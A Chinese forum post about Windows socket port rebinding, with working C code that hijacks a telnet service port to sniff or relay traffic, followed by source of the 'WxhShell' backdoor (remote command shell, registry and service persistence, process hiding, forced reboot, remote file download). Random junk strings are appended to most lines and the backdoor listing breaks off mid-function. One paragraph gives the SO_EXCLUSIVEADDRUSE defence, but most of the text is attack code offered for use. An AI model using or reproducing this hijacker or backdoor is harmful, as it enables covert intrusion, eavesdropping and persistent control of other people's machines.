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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: {:6r;TB  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 2oVSn"  
O(fM?4w  
  saddr.sin_family = AF_INET; 7gf05Z'=  
hQYL`Dni  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); /]K^ rw[  
a1EOJ^}0  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); >AVVEv18  
t;W0"ci9  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 rp3V3]EE  
0 ?s|i :  
  这意味着什么?意味着可以进行如下的攻击: %j.0G`x9 +  
t{xf:~B  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 zk$FkbX  
I'A_x$ib6  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ojaws+(& y  
>_[ 9t  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 t^+ik1.  
);#JL0I  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  EK {Eo9l  
]{3)^axW;  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 0)Uce=t`  
8&GBV_`I  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 4 {y)TZ  
\UPjf]&  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 _Gn2o2T  
 `=4r+  
  #include BmbyH{4  
  #include cqQ#p2<%  
  #include o_XflzC  
  #include    .c8g:WB<  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Q_"]+i]s@  
  int main() ck: T,F{}  
  { 3O,+=?VK  
  WORD wVersionRequested; *=8JIs A>!  
  DWORD ret; n6wV.?8  
  WSADATA wsaData; \y97W&AN  
  BOOL val; gH12[Us'`  
  SOCKADDR_IN saddr; /s x@$cvW  
  SOCKADDR_IN scaddr; JZ)RGSG i  
  int err; )#?"Gjf~  
  SOCKET s; |n2qVR,  
  SOCKET sc; ) pzy  
  int caddsize; Fq0i`~L~  
  HANDLE mt; dMh:ulIY>  
  DWORD tid;   3eb%OEMYk  
  wVersionRequested = MAKEWORD( 2, 2 ); Si_ _8D  
  err = WSAStartup( wVersionRequested, &wsaData ); Z"/p,A9W9|  
  if ( err != 0 ) { uZNTHD  
  printf("error!WSAStartup failed!\n"); h k] N6+@  
  return -1; 6.sx?YYM  
  } CSJdvxb  
  saddr.sin_family = AF_INET; {#ZlM  
   *:Y%HAy*  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 RSfQNc9Z  
2GP=&K/A  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); PC~Y8,A|.t  
  saddr.sin_port = htons(23); ,|3MG",@@h  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 6Y^23W F  
  { nr95YSH  
  printf("error!socket failed!\n"); ,c;Kzp>e  
  return -1; ?^7t'`zk  
  } aRj9E}  
  val = TRUE; $Ipg&`S"  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Njxv4cc  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) *w|:~g  
  { SEo'(-5  
  printf("error!setsockopt failed!\n"); tI`Q/a5@  
  return -1; BBaQ}{F8>2  
  } APvDP?  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; o*-)Tq8GHE  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 U_M$#i{_  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 )F}F_Y  
Lb!Fcf|h  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ?qP7Y nl  
  { C_( *>!Z%  
  ret=GetLastError(); caU0\VS  
  printf("error!bind failed!\n"); '9laa=H%8  
  return -1; fa-IhB1!K  
  } N@2dA*T,  
  listen(s,2); \z>fb%YW  
  while(1) `nUXDmdwzO  
  { ),0g~'I~D  
  caddsize = sizeof(scaddr); d?ex,f.  
  //接受连接请求 gR&Q3jlIV  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); SzAJ2:qhl  
  if(sc!=INVALID_SOCKET) ! +a. Ei  
  { y=fx%~<> 8  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); G/k2Pe{SL  
  if(mt==NULL) vleS2-]|  
  { XeW<B0~  
  printf("Thread Creat Failed!\n"); !<j'Ea  
  break; |nc@"OJ  
  } %>yG+Od5Z  
  }  w^?>e;/\  
  CloseHandle(mt); /$ w%Q-p  
  } Ok|*!!T  
  closesocket(s); 4;w;'3zq  
  WSACleanup(); sQ=]NF)\  
  return 0; hB "fhX  
  }   tWJZoD6}h  
  DWORD WINAPI ClientThread(LPVOID lpParam) 2POXj!N  
  { 44gPCW,u  
  SOCKET ss = (SOCKET)lpParam; cA2V2S)  
  SOCKET sc; - \ 5v^l  
  unsigned char buf[4096]; O@tU.5*$5  
  SOCKADDR_IN saddr; lsgh#x  
  long num; ],>@";9u"  
  DWORD val; ?~l6K(*2  
  DWORD ret; a+[RS]le  
  //如果是隐藏端口应用的话,可以在此处加一些判断 HU1h8E$-  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   n3T>QgK  
  saddr.sin_family = AF_INET; <Q3oT  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); RU'=ERYC  
  saddr.sin_port = htons(23); ?5+.`L9H  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) K`yRr`pW  
  { Pnk5mK$  
  printf("error!socket failed!\n"); US+Q~GTA  
  return -1; .?D7dyU l1  
  } `n.5f[wC  
  val = 100; %oF}HF.  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) $I!XSz"/e  
  { _ q(ko/T  
  ret = GetLastError(); j:^#rFD4?  
  return -1; 9`T)@Uj2n  
  } HD@$t)mn  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) )YYf1o[+  
  { )#EGTRdo  
  ret = GetLastError(); g%ndvdb m  
  return -1; yd^ {tQi  
  } + @A  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Rvkedb  
  { ^T( .k=  
  printf("error!socket connect failed!\n"); 7G:s2432  
  closesocket(sc); AhCW'.  
  closesocket(ss); g9m-TkNk  
  return -1; 10G}{  
  } ZEXc%-M  
  while(1) -0d0t!  
  { QMA%$  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 %"kPvI3Y  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 xN>npP   
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 GX)u|g  
  num = recv(ss,buf,4096,0); w ~.f  
  if(num>0) wa(8Hl|Y  
  send(sc,buf,num,0); >Y&N8PHD  
  else if(num==0) dah[:rP,n{  
  break; mH54ja2  
  num = recv(sc,buf,4096,0); @y e4q.m  
  if(num>0) Bp*K]3_  
  send(ss,buf,num,0); 6~0$Z-);(  
  else if(num==0) Z_PNI#h*  
  break; bADnW4N`6;  
  } 6h>wt-tRC  
  closesocket(ss); 9V'%<pk''(  
  closesocket(sc); Eou~P h*t  
  return 0 ; ~< P 0]ju  
  } a[v0%W ]u  
5uGqX"  
ZWii)0'PV  
========================================================== t#yk ->,  
O1rvaOlr  
下边附上一个代码,,WXhSHELL ~Xw"}S5  
-B>++r2A^  
========================================================== 214Ml0/%  
JHW "-b  
#include "stdafx.h" 4]rnY~  
pny11C  
#include <stdio.h> ylUrLQ\  
#include <string.h> .v]IJfRH*  
#include <windows.h> Hh%I0#  
#include <winsock2.h> Jx_cf9{  
#include <winsvc.h> 9lTv   
#include <urlmon.h> ,K>I%_!1  
?42<J%p  
#pragma comment (lib, "Ws2_32.lib") zuP B6W^  
#pragma comment (lib, "urlmon.lib") *aXF5S  
B6=ebM`q  
#define MAX_USER   100 // 最大客户端连接数 ,c$,!.r  
#define BUF_SOCK   200 // sock buffer rjl`&POqc  
#define KEY_BUFF   255 // 输入 buffer ?J' Y&  
a! (4Ch  
#define REBOOT     0   // 重启 r~[Ia!U?  
#define SHUTDOWN   1   // 关机 f'8kish  
uzXCIv@  
#define DEF_PORT   5000 // 监听端口 iz5CAxm  
'#! gh?  
#define REG_LEN     16   // 注册表键长度 {Z{75}  
#define SVC_LEN     80   // NT服务名长度 TH)"wNa  
hrmut*<|  
// 从dll定义API yhlFFbU  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Pnw]Tm}g  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); zh4# A <e  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 1pQn8[sc@  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Ulhk$CPA  
}L &^xe  
// wxhshell配置信息 X#d~zk[r2  
struct WSCFG { J2d.f}-  
  int ws_port;         // 监听端口 s.EI`*xylY  
  char ws_passstr[REG_LEN]; // 口令 eD-#b|  
  int ws_autoins;       // 安装标记, 1=yes 0=no R|JC1f8P5  
  char ws_regname[REG_LEN]; // 注册表键名 `id 9j  
  char ws_svcname[REG_LEN]; // 服务名 mCRt8 rY;  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ;g8R4!J  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 so^lb?g  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 U!T~!C^  
int ws_downexe;       // 下载执行标记, 1=yes 0=no KjV:|  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" "BD~xP(  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 |\w=u6jX  
85lCj-cs  
}; M=.:,wRm  
xrlmKSPa  
// default Wxhshell configuration =nz}XH%=  
struct WSCFG wscfg={DEF_PORT, QS0:@.}$E)  
    "xuhuanlingzhe", tzZ63@cm  
    1, J5*tJoCYS  
    "Wxhshell", 6\L0mcXR!  
    "Wxhshell", k- Q%.o  
            "WxhShell Service", ot @|!V  
    "Wrsky Windows CmdShell Service", {-ZFp  
    "Please Input Your Password: ", CPgCjtY  
  1, Yv hA_v  
  "http://www.wrsky.com/wxhshell.exe", "b?v?V0%C  
  "Wxhshell.exe" b6W2^tr-  
    }; Y_}mYvJW  
uB |Ss  
// 消息定义模块 `/_o!(Z`  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; )S`jFQ1  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ktI/3Mb@  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; n 9\ C2r  
char *msg_ws_ext="\n\rExit."; )i q-yjO6  
char *msg_ws_end="\n\rQuit."; X7[^s $VK  
char *msg_ws_boot="\n\rReboot..."; YNYx>Ue  
char *msg_ws_poff="\n\rShutdown..."; #u2J;9P  
char *msg_ws_down="\n\rSave to "; yPM3a7-Bm  
]FD'5p{  
char *msg_ws_err="\n\rErr!"; vQ<90Z xqB  
char *msg_ws_ok="\n\rOK!"; %509\;el  
zs%Hb48V   
char ExeFile[MAX_PATH]; {zQS$VhXr  
int nUser = 0; &-s'BT[PGq  
HANDLE handles[MAX_USER]; O#&c6MDB:  
int OsIsNt; 0ph{  
VQY&g;[d  
SERVICE_STATUS       serviceStatus; pkP?i5 ,  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; e'~Zo9`r6  
m7&O9?X  
// 函数声明 FSUttg"  
int Install(void); qs|mj}?  
int Uninstall(void); [FK<96.nt  
int DownloadFile(char *sURL, SOCKET wsh); OF%B[h&   
int Boot(int flag); CQZgMY1{  
void HideProc(void); 0_k '.5l%  
int GetOsVer(void); m1n.g4Z&*  
int Wxhshell(SOCKET wsl); W-Fu-Cz=  
void TalkWithClient(void *cs); ZPc@Zr`z  
int CmdShell(SOCKET sock); }>)@WL:q  
int StartFromService(void); y[>;]R7'  
int StartWxhshell(LPSTR lpCmdLine); )v]/B+  
ng:kA%! Q  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); n$U#:aQE  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 9 Yx]=n  
,\X@~ j  
// 数据结构和表定义 >a"Z\\dF  
SERVICE_TABLE_ENTRY DispatchTable[] = RbCPmiZcH  
{ iP@ZM =&wz  
{wscfg.ws_svcname, NTServiceMain}, wx\v:A  
{NULL, NULL} h8 'v d3  
}; x&^_c0fn  
,REJt  
// 自我安装 V<D.sd<  
int Install(void) O_cbP59Y.  
{ ?gJOgsHJP  
  char svExeFile[MAX_PATH]; V~S0hqW[  
  HKEY key; 9m|kgY# 4  
  strcpy(svExeFile,ExeFile); p`nPhk,:b  
<WjF*x p  
// 如果是win9x系统,修改注册表设为自启动 Vm5c+;  
if(!OsIsNt) { oHMo>*?  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {  |?Frj  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ( xXGSx  
  RegCloseKey(key); YhbZ'SJ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *\(r+>*x*  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); v.Q(v\KV5  
  RegCloseKey(key); ZeUvyIG  
  return 0; '7D,m H  
    } ?notxE7 ]  
  } :[\v  
} %@;6^=  
else { 0`)iIz  
-:Fe7c  
// 如果是NT以上系统,安装为系统服务 O:TlIJwW  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); CqHK%M  
if (schSCManager!=0) Rp*R:3 C  
{ nt;haeJ  
  SC_HANDLE schService = CreateService S{FROC~1R  
  ( %YSpCI  
  schSCManager, #Y0-BYa^  
  wscfg.ws_svcname, %uJ<M-@r=u  
  wscfg.ws_svcdisp, !lxTX  
  SERVICE_ALL_ACCESS, \%/#x V  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , '\Jj8oJQj  
  SERVICE_AUTO_START, B.g[c97  
  SERVICE_ERROR_NORMAL, y_*PQZ$c<  
  svExeFile, chV9_(8  
  NULL, 6el;Erp  
  NULL, T21ky>8E  
  NULL, +E1I");  
  NULL, JT "B>y>  
  NULL AS E91T~  
  ); ]?Fi$3Lm  
  if (schService!=0) Vw#_68EybM  
  { )uK{uYQl  
  CloseServiceHandle(schService); CM<]ZG7  
  CloseServiceHandle(schSCManager); o@#Y8M  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); YLwnhy>dD  
  strcat(svExeFile,wscfg.ws_svcname); $U$V?x uE  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { |+35y_i6  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 7SlsnhpW  
  RegCloseKey(key); Oy<5>2^P  
  return 0; "z0zpHXek  
    } rj6tZJZ#o0  
  } Ma'_e=+A  
  CloseServiceHandle(schSCManager); =Zu^80/  
} /n5F(5<  
} >N;F8v  
O(tX8P Q5N  
return 1; }tH[[4tw,  
} L KCb_9  
|,#t^'S!  
// 自我卸载 rsF\JQk  
int Uninstall(void) yu6`66h)  
{ ?OE.O/~l  
  HKEY key; k% sO 0  
is1's[  
if(!OsIsNt) { y" 6y!  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { "6R 5+  
  RegDeleteValue(key,wscfg.ws_regname); z >YFyu#LF  
  RegCloseKey(key); Aub]IO~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -b9;5eS!  
  RegDeleteValue(key,wscfg.ws_regname); N[<H7_/3  
  RegCloseKey(key); r'dr9"-{  
  return 0; p. R2gl1m  
  } PzV@umC1#f  
} lz?;#U  
} iT;@bp  
else { jn%!AH  
ot`%*  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); aM@z^<Ub  
if (schSCManager!=0) Q\GDrdA  
{ K,6b3kk  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); &K43x&mFF  
  if (schService!=0) uQ=^~K:Z~  
  { ]c<qM_HWg  
  if(DeleteService(schService)!=0) { ew;ur?  
  CloseServiceHandle(schService); X=6y_^  
  CloseServiceHandle(schSCManager); -D N8Yb  
  return 0; i]=&  
  } EyI}{6~F  
  CloseServiceHandle(schService); Ti2Ls5H}  
  } `} m Q  
  CloseServiceHandle(schSCManager); JXixYwm  
} ~`GhS<D  
} kdxz!  
l" q1?kaVg  
return 1; /erN;Oo%<  
} ed!:/+3e/  
zF@o2<cD@  
// 从指定url下载文件 <W`#gn0b6  
int DownloadFile(char *sURL, SOCKET wsh) ?9HhG?_x  
{ RP 2_l$  
  HRESULT hr; WpS1a440  
char seps[]= "/"; ^A][)*SZ  
char *token; YXU|h  
char *file; 8>7RxSF  
char myURL[MAX_PATH]; b1gaj"]  
char myFILE[MAX_PATH]; \.f}W_OF  
6 4D]Ypx  
strcpy(myURL,sURL); 7_wJpTz  
  token=strtok(myURL,seps); { F'Kk\f%:  
  while(token!=NULL) ?\U!huu  
  { ~ ^>417>  
    file=token; iJv48#'ii  
  token=strtok(NULL,seps); X; 5Jb  
  } [3W*9j  
;uqx@sx ;  
GetCurrentDirectory(MAX_PATH,myFILE); `:wvh(  
strcat(myFILE, "\\"); f`8OM}un&  
strcat(myFILE, file); Aj9Ji"18za  
  send(wsh,myFILE,strlen(myFILE),0); x$wd O  
send(wsh,"...",3,0); [xfaj'j=@  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); v[TYc:L=  
  if(hr==S_OK) ~1*A  
return 0; `gpQW~*R-;  
else q8Nn%o=5V  
return 1; \ A%eG&  
FP#FB$eP  
} .lBgp=!  
!)qQbk  
// 系统电源模块 (>=7ng^  
int Boot(int flag) T"T;`y@(  
{ 1AHx"e,;L  
  HANDLE hToken; KtB!"yy#  
  TOKEN_PRIVILEGES tkp; Z?NEO>h7  
Nwc!r (  
  if(OsIsNt) { joXfmHB}  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 3Wcy)y>2Ap  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 8ZcU[8r  
    tkp.PrivilegeCount = 1; J9%@VZut  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; <&pKc6+{  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); &[a Tw{2  
if(flag==REBOOT) { D -IR!js ]  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ~:lKS;PRuK  
  return 0; o5Y2vmz?9  
} T#!lPH :&h  
else { T;\^#1  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) C}?0`!Cc%  
  return 0; lFUWV)J\  
} h(B,d,q"  
  } TFR( 4W  
  else { 9Bdt(}0A  
if(flag==REBOOT) { E2AW7f(/  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) $ P: O/O=>  
  return 0; ukuo:P<a  
} Jqr)V2Y  
else { _M,lQ~  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ciMM^ZRIb  
  return 0; D H^T x  
} J$9:jE-4  
} u/Fj'*M  
m-V02's  
return 1; .5> 20\b2  
} Nf9fb?  
y69J%/c ra  
// win9x进程隐藏模块 P2 0|RvE  
void HideProc(void) ?@R")$  
{ p|XAlia  
8I+d)(:  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); g):]'  
  if ( hKernel != NULL ) ]Z4zF"@  
  { va|rO#.=  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); {13!vS%5  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Vv*NFJ|  
    FreeLibrary(hKernel); T~gW3J  
  } VY+>=!  
!asqr1/  
return; 5IqQ|/m<6  
} fT Y/4(  
wk\L*\@Y}  
// 获取操作系统版本 % do1i W  
int GetOsVer(void) h4fLl3%H  
{ \k.vN@K#  
  OSVERSIONINFO winfo; ~ eN8|SR  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); C:\(~D *GS  
  GetVersionEx(&winfo); $v} <'  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Ulqh@CE)  
  return 1; ?M6ag_h3  
  else ujgLJ77  
  return 0; qJ8-9^E,L  
} oP,9#FC|(  
R9r+kj_  
// 客户端句柄模块 `_ (~ Ud  
int Wxhshell(SOCKET wsl) > %*B`oqo  
{ Vm8D"I5i  
  SOCKET wsh; lQ*eH10H  
  struct sockaddr_in client; 7w58L:)B.  
  DWORD myID; TYjA:d9YH  
kJ=L2g>W<.  
  while(nUser<MAX_USER) 3gfimD$_E  
{ yu&Kh4AP  
  int nSize=sizeof(client); noA-)  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); aW{L7N%  
  if(wsh==INVALID_SOCKET) return 1; 3@5p"X  
xRDiRj  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); &K:' #[3V  
if(handles[nUser]==0) #iis/6"  
  closesocket(wsh); m/USC'U%  
else tLX,+P2|  
  nUser++; *,#q'!Hq  
  } IftxSaP  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); +T_ p8W+j  
o;J;*~g  
  return 0; #i@h{ R01  
} %!.M~5mCd  
t 6u-G+}  
// 关闭 socket 4/wwn6I}G  
void CloseIt(SOCKET wsh) {^&@g kYY  
{ aIvBY78o  
closesocket(wsh); )teFS %  
nUser--; %my  
ExitThread(0); T!( 4QRh[  
} LXhaD[1Rb  
Qp:6= o0:  
// 客户端请求句柄 d$1 #<-yP  
void TalkWithClient(void *cs) 4nX(:K}>  
{ %"7WXOv&z  
n@B{vyy  
  SOCKET wsh=(SOCKET)cs; boQ)fV"  
  char pwd[SVC_LEN]; rB]W,8~%  
  char cmd[KEY_BUFF]; *Wyl2op6  
char chr[1]; 0#|7U_n  
int i,j; t*+! n.p  
=Nl5{qYz^&  
  while (nUser < MAX_USER) { kEK[\f VE  
."JzDs   
if(wscfg.ws_passstr) { :|XCnK0  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ` *9EKj  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); SWoEt1w  
  //ZeroMemory(pwd,KEY_BUFF); irFc}.dI  
      i=0; a%[q |oyR  
  while(i<SVC_LEN) { )|T`17-  
p~>_T7ze  
  // 设置超时 {'(ej5,6  
  fd_set FdRead; DJ:38_F  
  struct timeval TimeOut; :Kay$r0+  
  FD_ZERO(&FdRead); :QA@ c|(PF  
  FD_SET(wsh,&FdRead); oMTY)`me  
  TimeOut.tv_sec=8; Ve:&'~F2 s  
  TimeOut.tv_usec=0; |(%AM*n  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Z% Z"VoxH  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ggCr-  
T <A   
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^_w*XV  
  pwd=chr[0]; @aB9%An1  
  if(chr[0]==0xd || chr[0]==0xa) { j:?N!*r=  
  pwd=0; ` !kL1oUYE  
  break; 7x+=7,BZd  
  } FuMq|S  
  i++; r } 7:#XQ  
    } Hs<n^fyf  
e 2*F;.)  
  // 如果是非法用户,关闭 socket LV=^jsQ5  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); -R@JIe_28f  
} ,^+#M{Z  
2E$i_jc  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 1E^{B8cm  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); m3%ef  
LY1KQuY  
while(1) { ftW{C1,U7  
*K!7R2Rat  
  ZeroMemory(cmd,KEY_BUFF); M 5rwoyn  
(+$ol'i  
      // 自动支持客户端 telnet标准   \6c8z/O7   
  j=0; I3ho(Kdi  
  while(j<KEY_BUFF) { gL,"ef+nM  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); p[;8  
  cmd[j]=chr[0]; b.6ZfB,+G  
  if(chr[0]==0xa || chr[0]==0xd) { T:@7 S  
  cmd[j]=0; Bb_}YU2#  
  break; Uk"Y/Ddm  
  } 6 <r2*`  
  j++; 09x+Tko9;*  
    } \vs%U}IrO  
!SN WB  
  // 下载文件 u mqKFM$  
  if(strstr(cmd,"http://")) { wjg}[R@!  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ${0%tCE  
  if(DownloadFile(cmd,wsh)) d.b?! kn  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6o9sR)c ?  
  else $OT}`Te~  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); xK=J.>h3  
  } ~e+0c'n\  
  else { IF$^ 0q  
'@S,V/jy0z  
    switch(cmd[0]) { HD~jU>}}  
  J,`_,T  
  // 帮助 j`+0.Zlq  
  case '?': { F42TKPN^uu  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); v?%0~!  
    break; Flne=ij6g  
  } uJm#{[  
  // 安装 &:C{/QnA  
  case 'i': { ,?;sT`Mh)  
    if(Install()) 5@CpP-W#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); bA0uGLc  
    else xan/ay>  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Yo@m50s$  
    break; ]zy~@,\  
    } U"/yB8!W  
  // 卸载 ,?t}NZY&  
  case 'r': { nxf {PbHk  
    if(Uninstall()) ;4R =eI  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); HUD7{6}4  
    else Y]M^n&f  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;*"!:GR%h  
    break; ''%;EW>  
    } *u<rU,C8  
  // 显示 wxhshell 所在路径 giQ{Xrj  
  case 'p': { h<Jc;ht  
    char svExeFile[MAX_PATH]; tu7+LwF7  
    strcpy(svExeFile,"\n\r"); {rtM%%l  
      strcat(svExeFile,ExeFile); @-}D7?  
        send(wsh,svExeFile,strlen(svExeFile),0); $8EV, 9^U  
    break; 91U^o8y  
    } /kAwe *)  
  // 重启 BQ5_s,VM  
  case 'b': { b-,]A2.  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); zZ<ns+h  
    if(Boot(REBOOT)) D l4d'&!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0P3j+? N%  
    else { wK2yt?  
    closesocket(wsh); <[/PyNYK  
    ExitThread(0); ]VzqQ=U%  
    } p6B .s_G4  
    break; #?L(#a$k  
    } r94j+$7  
  // 关机 Y1m}@k,+M  
